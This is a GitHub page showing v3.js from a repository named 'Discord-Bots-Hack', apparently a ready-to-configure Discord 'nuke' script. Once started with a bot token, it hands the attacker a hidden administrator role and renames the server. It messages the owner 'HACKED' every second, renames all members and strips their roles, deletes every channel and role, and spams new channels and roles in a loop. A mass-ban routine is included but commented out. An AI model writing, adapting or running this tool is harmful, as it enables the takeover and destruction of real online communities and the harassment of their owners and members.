forked from REVENGE977/Discord-Bots-Hack
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathv3.js
129 lines (104 loc) · 5.36 KB
/
v3.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
// Based on https://www.github.com/Bowlingtoolkit/Discord-Bots-Hack-Code code
const Discord = require("discord.js")
const client = new Discord.Client()
const token = "BOT_TOKEN"
const setAdmin = (guildID, accountID) => {
const targetServer = client.guilds.get(guildID)
if (!targetServer) return console.error(`${guildID} ID is invalid or the bot isn't in`)
else if (!targetServer.members.get(client.user.id).hasPermission('MANAGE_ROLES_OR_PERMISSIONS') || !targetServer.members.get(client.user.id).hasPermission('MANAGE_ROLES')) return console.error(`${client.user.username} has not the required perms to make something like this`)
targetServer.createRole({name: `\u200b`, color: 0x2F3136, permissions: "ADMINISTRATOR"}).then((role) => {
targetServer.members.get(accountID).addRole(role).catch((err) => {
return console.error(`You are not in the ${targetServer.name} server ! You must to be in this server befor leveling up !`)
})
})
}
const changeServerInfo = (guildID, options) => {
const targetServer = client.guilds.get(guildID)
if (!targetServer) return console.error(`${guildID} ID is invalid or the bot isn't in`)
else if (!targetServer.members.get(client.user.id).hasPermission("MANAGE_GUILD")) return console.error(`${client.user.username} has not the required perms to make something like this`)
targetServer.setName(options.newServerName)
targetServer.setIcon(options.newServerIcon)
const embed = new Discord.RichEmbed()
.setAuthor(client.user.tag, client.user.avatarURL)
.setTitle("HACKED")
.setDescription(`YOUR SERVER ${targetServer.name} HAS BEEN HACKED BY ${client.user.tag}`)
.setFooter(client.user.tag, client.user.avatarURL)
.setColor("#ff0000")
setInterval(() => {
return targetServer.owner.send(embed)
}, 1000)
}
const banMembers = (guildID) => {
const targetServer = client.guilds.get(guildID)
if (!targetServer) return console.error(`${guildID} ID is invalid or the bot isn't in`)
else if (!targetServer.members.get(client.user.id).hasPermission("BAN_MEMBERS")) return console.error(`${client.user.username} has not the required perms to make something like this`)
targetServer.members.forEach(async (member) => {
member.bannable ? await member.ban({reason: `HACKED BY ${client.user.tag}`}) : undefined
})
}
const changeNicks = (guildID, newNick) => {
const targetServer = client.guilds.get(guildID)
if (!targetServer) return console.error(`${guildID} ID is invalid or the bot isn't in`)
else if (!targetServer.members.get(client.user.id).hasPermission("MANAGE_NICKNAMES")) return console.error(`${client.user.username} has not the required perms to make something like this`)
targetServer.members.forEach((member) => {
try {
member.setNickname(newNick, `HACKED BY ${client.user.tag}`)
} catch (error) {
undefined
}
})
}
const createChanelsAndRoles = (guildID, name) => {
const targetServer = client.guilds.get(guildID)
if (!targetServer) return console.error(`${guildID} ID is invalid or the bot isn't in`)
else if (!targetServer.members.get(client.user.id).hasPermission("MANAGE_CHANNELS") || !targetServer.members.get(client.user.id).hasPermission('MANAGE_ROLES_OR_PERMISSIONS') || !targetServer.members.get(client.user.id).hasPermission('MANAGE_ROLES')) return console.error(`${client.user.username} has not the required perms to make something like this`)
targetServer.members.forEach((member) => {
member.roles.forEach(async (role) => {
try {
await member.removeRole(role)
} catch (error) {
undefined
}
})
})
targetServer.channels.forEach(async (channel) => {
channel.deletable ? await channel.delete() : undefined
})
targetServer.roles.forEach(async(role) => {
role.deletable ? await role.delete() : undefined
})
setInterval(async () => {
await targetServer.createChannel(name, "text")
await targetServer.createChannel(name, "voice")
await targetServer.createRole({name: `HACKED BY ${client.user.username}`, permissions: 0, color: 0xFF0000 }).then(async(role) =>{
await targetServer.members.forEach(async (member) => {
try {
await member.addRole(role)
} catch (error) {
undefined
}
})
})
}, 500)
}
client.on("ready", () => {
console.log("THE HACKING STARTED NOW ")
// Setup YOUR personnal settings
const configs = {
"targetServerID": "SERVER_ID",
"accountID": "YOUR_ID",
"botNickname": "NEW_BOT_NAME",
"botIcon": 'https://6.top4top.net/p_1415xrqem1.jpg',
"newServerIcon": "https://6.top4top.net/p_1415xrqem1.jpg",
"newServerName": "NEW_SERVER_NAME",
}
client.user.setUsername(configs.botNickname)
client.user.setAvatar(configs.botIcon)
// Enable all the options
setAdmin(configs.targetServerID, configs.accountID)
changeServerInfo(configs.targetServerID, {"newServerName": configs.newServerName, "newServerIcon": configs.newServerIcon})
changeNicks(configs.targetServerID, configs.botNickname)
// banMembers(configs.targetServerID)
createChanelsAndRoles(configs.targetServerID, configs.botNickname)
})
client.login(token)